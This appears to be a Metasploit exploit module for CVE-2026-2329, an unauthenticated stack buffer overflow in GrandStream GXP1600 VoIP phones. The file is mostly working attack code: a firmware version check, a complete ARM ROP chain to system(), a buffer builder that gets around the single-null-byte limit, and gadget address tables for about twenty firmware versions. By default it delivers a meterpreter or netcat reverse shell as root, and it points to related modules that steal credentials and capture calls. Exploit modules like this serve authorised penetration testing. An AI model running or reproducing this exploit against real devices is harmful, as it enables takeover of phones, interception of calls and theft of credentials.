## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-GRANDSTREAM_GXP1600_UNAUTH_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GrandStream GXP1600 Unauthenticated Remote Code Execution',
'Description' => %q{
An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint
/cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote
code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models
in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all
firmware versions below version 1.0.7.81.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # Discovery, Analysis, Exploit
],
'References' => [
['CVE', '2026-2329'],
# Rapid7 advisory for CVE-2026-2329
['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
# Vendor advisory for CVE-2026-2329 (GSVUL-2026-001)
['URL', 'https://psirt.grandstream.com/'],
# Vendor release notes (PDF) for the fixed firmware version 1.0.7.81.
['URL', 'https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf']
],
'DisclosureDate' => '2026-02-18',
'Platform' => %w[linux unix],
'Arch' => ARCH_CMD,
'Privileged' => true, # /app/bin/gs_web runs as root
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
# NOTE: Tested with the following payloads:
# cmd/linux/http/armle/meterpreter_reverse_tcp
# cmd/unix/reverse_netcat
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/armle/meterpreter_reverse_tcp',
'RPORT' => 80,
'SSL' => false,
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '/tmp',
# Delete the fetch binary after execution.
'FETCH_DELETE' => true
},
'Payload' => {
'BadChars' => ':',
'Encoder' => 'cmd/base64'
},
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => [
'post/linux/gather/grandstream_gxp1600_creds',
'post/linux/capture/grandstream_gxp1600_sip'
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to web admin', '/']),
]
)
end
def check
version_id = '68'
model_id = 'phone_model'
server_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
'vars_post' => {
'request' => "#{version_id}:#{model_id}"
}
)
return CheckCode::Unknown('Connection failed') unless server_res
return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200
json_data = server_res.get_json_document
version_str = json_data.dig('body', version_id)
model_str = json_data.dig('body', model_id)
return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank?
# These 6 models all share the same firmware for the GXP1600 range.
affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]
if affected_models.include? model_str
version = Rex::Version.new(version_str)
# Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026.
if version < Rex::Version.new('1.0.7.81')
return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}")
end
end
Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}")
end
def exploit
version_id = '68'
server_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
'vars_post' => {
'request' => version_id
}
)
fail_with(Failure::UnexpectedReply, 'Failed to get version number') unless server_res&.code == 200
json_data = server_res.get_json_document
version_str = json_data.dig('body', version_id)
rop_table = get_rop_table(version_str)
fail_with(Failure::BadConfig, "No ROP table available for version #{version_str}") unless rop_table
vprint_status("ROP Table: #{rop_table}")
unless rop_table[:gadget3_call_exit]
print_warning('No ROP gadget available to call exit(). The payload will work, but will crash and core dump the target gs_web process.')
end
pointer_size = 4
rop = [
:rand4, # padding
# The vulnerable function returns via this function epilogue: POP {R4-R11,PC}
# So we initially get control of registers r4 - r11, and then execute gadget1_blx_pop via the overwritten PC.
rop_table[:address_data_section], # r4 -> .data segment
:rand4, # r5
:rand4, # r6
:rand4, # r7
:rand4, # r8
:rand4, # r9
:rand4, # r10
:rand4, # r11
rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
:patch_offset2cmd, # r3 -> r0 + r3 == "/bin/sh ..."
rop_table[:gadget2_add_str_add_str_pop], # pc -> add r0, r3, r0; str r7, [r4, #8]; add r6, r0, r6; str r6, [r4, #4]; pop {r4, r5, r6, r7, r8, pc};
:rand4, # r4
:rand4, # r5
:rand4, # r6
:rand4, # r7
:rand4, # r8
rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
rop_table[:address_system_plt], # r3 -> system@plt
rop_table[:gadget1_blx_pop], # pc -> blx r3; pop {r3, pc}
:rand4, # r3
rop_table[:gadget3_call_exit] || :rand4highnull # pc -> mov r0, 1; bl 0xbcd0 <exit@plt>
]
overflow_buffer = Rex::Text.rand_text_alpha(64)
rop.map! do |item|
if item == :patch_offset2cmd
# When the vulnerable function returns, r0 will point into the stack, 28 bytes before the start of our overflow
# buffer. We use a gadget (gadget2_add_str_add_str_pop) to add r0 to an offset (held in r3), after this gadget
# executes, r3 will point to the OS command we want to execute, which is located on the stack directly after
# our ROP chain. The below offset is the value placed in r3 for this calculation.
item = 28 + overflow_buffer.length + (rop.length * pointer_size)
elsif item == :rand4
item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first
elsif item == :rand4highnull
item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF
end
item
end
vprint_status("Encoded ARCH_CMD Payload: #{payload.encoded}")
request_buffer = gen_buffer(
rop.pack('V*') << payload.encoded,
overflow_buffer
)
register_file_for_cleanup('/tmp/core.gz')
register_dir_for_cleanup('/core')
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
'vars_post' => {
'request' => request_buffer
}
)
end
# The vulnerability only allows for a single null terminator byte to be written during the overflow. To overcome this
# limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request
# parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can
# be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null
# byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.
#
# For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g.
# "EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte)
# we can trigger the overflow 5 times by structuring the input as follows:
# "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE"
# When the vulnerable function process this colon deliminated input, it will trigger the overflow 5 times, and each
# time it will write a null byte at the end of the current identifier being processed. The final memory layout will
# be the expected attacker controller byte sequence. Note, the lengths used in this example are contrived for brevity,
# as the actual vulnerable function requires a 64 byte buffer to be overflowed for each invocation of the vulnerability.
#
# The gen_buffer method will take care of restructuring the input in the above described manner.
def gen_buffer(input, line_padding = '')
input << "\x00" unless input[input.length - 1] == "\x00"
len = input.length
lines = []
input.reverse.each_byte do |chr|
line = '1' * (len - 1)
if chr.zero?
line << ':'
else
line << [chr].pack('C')
end
len -= 1
lines << line
end
res = []
lines.each do |line|
if line.end_with? ':'
res << (line_padding + line)
else
res.last[line_padding.length + line.length - 1] = line[line.length - 1]
end
end
res.join
end
def get_rop_table(version_str)
rop_tables = {
'1.0.7.80' =>
{
address_system_plt: 0x0000b868,
address_data_section: 0x000224c8,
gadget2_add_str_add_str_pop: 0x0000f110,
gadget1_blx_pop: 0x0000c230,
gadget3_call_exit: 0x0000ffc0
},
'1.0.7.79' =>
{
address_system_plt: 0x0000b73c,
address_data_section: 0x00022490,
gadget2_add_str_add_str_pop: 0x0000ef64,
gadget1_blx_pop: 0x0000c0ec,
gadget3_call_exit: 0x0000fe14
},
'1.0.7.74' =>
{
address_system_plt: 0x0000b73c,
address_data_section: 0x00022490,
gadget2_add_str_add_str_pop: 0x0000ef64,
gadget1_blx_pop: 0x0000c0ec,
gadget3_call_exit: 0x0000fe14
},
'1.0.7.70' => {
address_system_plt: 0x0000b73c,
address_data_section: 0x00022490,
gadget2_add_str_add_str_pop: 0x0000ef64,
gadget1_blx_pop: 0x0000c0ec,
gadget3_call_exit: 0x0000fe14
},
'1.0.7.67' => {
address_system_plt: 0x0000b6c4,
address_data_section: 0x00021e6c,
gadget2_add_str_add_str_pop: 0x0000ed7c,
gadget1_blx_pop: 0x0000c05c,
gadget3_call_exit: 0x0000fc2c
},
'1.0.7.64' => {
address_system_plt: 0x0000b6c4,
address_data_section: 0x00021e2c,
gadget2_add_str_add_str_pop: 0x0000ed38,
gadget1_blx_pop: 0x0000c05c,
gadget3_call_exit: 0x0000fbe8
},
'1.0.7.56' => {
address_system_plt: 0x0000bd78,
address_data_section: 0x00022474,
gadget2_add_str_add_str_pop: 0x000140ec,
gadget1_blx_pop: 0x0000c6bc,
gadget3_call_exit: nil
},
'1.0.7.50' => {
address_system_plt: 0x0000bd78,
address_data_section: 0x00022474,
gadget2_add_str_add_str_pop: 0x000140ec,
gadget1_blx_pop: 0x0000c6bc,
gadget3_call_exit: nil
},
'1.0.7.49' => {
address_system_plt: 0x0000bd78,
address_data_section: 0x00022474,
gadget2_add_str_add_str_pop: 0x000140ec,
gadget1_blx_pop: 0x0000c6bc,
gadget3_call_exit: nil
},
'1.0.7.33' => {
address_system_plt: 0x0000bd10,
address_data_section: 0x00021e0c,
gadget2_add_str_add_str_pop: 0x00013ed4,
gadget1_blx_pop: 0x0000c63c,
gadget3_call_exit: nil
},
'1.0.7.27' => {
address_system_plt: 0x0000bd10,
address_data_section: 0x00021e0c,
gadget2_add_str_add_str_pop: 0x00013ed4,
gadget1_blx_pop: 0x0000c63c,
gadget3_call_exit: nil
},
'1.0.7.24' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x00021948,
gadget2_add_str_add_str_pop: 0x00013b2c,
gadget1_blx_pop: 0x0000c600,
gadget3_call_exit: nil
},
'1.0.7.18' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x00021470,
gadget2_add_str_add_str_pop: 0x00013aec,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.7.13' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.7.6' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.7.3' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.5.3' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.4.152' => {
address_system_plt: 0x0000c40c,
address_data_section: 0x0002145c,
gadget2_add_str_add_str_pop: 0x00013adc,
gadget1_blx_pop: 0x0000c5f0,
gadget3_call_exit: nil
},
'1.0.4.140' => {
address_system_plt: 0x0000c358,
address_data_section: 0x00021454,
gadget2_add_str_add_str_pop: 0x000137e8,
gadget1_blx_pop: 0x0000c53c,
gadget3_call_exit: nil
},
'1.0.4.132' => {
address_system_plt: 0x0000c358,
address_data_section: 0x00020c2c,
gadget2_add_str_add_str_pop: 0x00013558,
gadget1_blx_pop: 0x0000c53c,
gadget3_call_exit: nil
},
'1.0.4.128' => { # Released August 3, 2018.
address_system_plt: 0x0000c17c,
address_data_section: 0x0001e9c4,
gadget2_add_str_add_str_pop: 0x00011cc8,
gadget1_blx_pop: 0x0000c360,
gadget3_call_exit: nil
}
}
rop_tables[version_str]
end
end